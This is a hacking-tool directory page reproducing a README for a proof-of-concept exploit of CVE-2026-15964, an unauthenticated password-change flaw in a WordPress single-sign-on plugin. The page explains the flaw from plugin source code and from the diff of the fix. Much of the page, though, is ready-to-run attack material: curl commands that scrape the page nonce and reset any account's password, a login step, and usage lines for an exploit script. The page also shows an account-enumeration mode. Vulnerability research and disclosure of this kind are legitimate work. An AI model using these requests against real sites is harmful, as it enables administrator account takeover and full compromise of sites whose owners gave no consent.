Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-15964-PoC — PoC & checker for CVE-2026-15964 - unauthenticated password change in the WordPress plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Tools/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Authentication & AuthorizationPrivilege EscalationWeb Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubinstructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC & checker for CVE-2026-15964 - unauthenticated password change in the WordPress plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

View Repository
1132 months agoNot yet reviewed

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Unauthenticated privilege escalation via unverified password change in the WordPress plugin Single Sign On For TNG.

SeverityCritical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Unverified Password Change)
Affectedplugin versions 1.0.0 through 2.0.0
Fixed in2.1.0 (released 2026-07-27)
Published2026-08-01
Auth requirednone (wp_ajax_nopriv_ssoprocess_ajax)
Impactchange the password of any WordPress account, including administrators - full site takeover
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Any unauthenticated visitor can change the password of any account on a site running the plugin at 2.0.0 or earlier. Two HTTP requests:

  1. GET the homepage and copy the nonce from the SSOPWDREQUIREMENT JavaScript object.
  2. POST it to admin-ajax.php with operation=setnewpassword, a victim email and a new password.

WordPress core's reset_password() does the rest. No token, no email confirmation link, no capability check. Log in as admin afterwards.

NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Why this works

The handler is registered for unauthenticated users

In single-sign-on-for-tng.php (v2.0.0):

add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* means the handler is reachable with no session at all.

The only guard is a nonce the plugin hands to every visitor

load_scripts() is hooked to wp_enqueue_scripts, so on every front-end page the plugin prints this into the HTML:

wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Which renders as:

<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

And the handler verifies it like this:

public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

The catch: WordPress computes nonces with wp_create_nonce($action) using uid and the session token. For logged-out visitors those are 0 and an empty string, which means every anonymous visitor gets the exact same nonce. It is only re-rolled every 12 hours (the nonce tick). So the nonce that the plugin prints for any visitor is also valid for the attacker - there is no secret to steal, it is published on the page itself.

And then the actual change, with zero ownership proof

switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() is a WordPress core function. It sets the new hash, logs the victim out of every other session, and fires the password_reset / after_password_reset actions. It is called here with nothing proving the caller is the account owner.

Two extras worth knowing:

  • No server-side password strength check on this path. The plugin's MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC rules are only enforced in validate_form() for Forminator forms, never here. Any password is accepted.
  • Account enumeration. {"success":true} vs {"success":false} tells you whether an email is registered. The checker's --enum-only mode uses this.
  • Bonus bug in the same function: operation=set_tzoffset calls update_option('localtzoffset', $post['timezoneoffset']) unauthenticated. Not directly exploitable for RCE, but it is an unauthenticated option write and worth mentioning in the writeup.

What changed in 2.1.0

Diffing 2.0.0 against 2.1.0 makes the fix obvious (and confirms the bug):

             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

plus, in newpasswordform():

+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

So in 2.1.0 the flow is: a real recovery request stores a per-user custom_recovery_token + custom_recovery_nonce in user meta, the recovery link carries the user id, the form validates both, and the AJAX handler refuses to run once the recovery window (timeout) has expired. An attacker who can't produce a live recovery record can't drive setnewpassword anymore.


Reproduction (manual)

Step 1 - scrape the nonce

curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Step 2 - change the password

curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Expected response on a vulnerable install: {"success":true}

Step 3 - log in

curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Single-site exploit. Non-destructive modes included.

# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Checker: CVE-2026-15964-checker.py

Batch scanner for your own site lists. Non-destructive by design - it never changes a password.

How it classifies each site:

Download Tool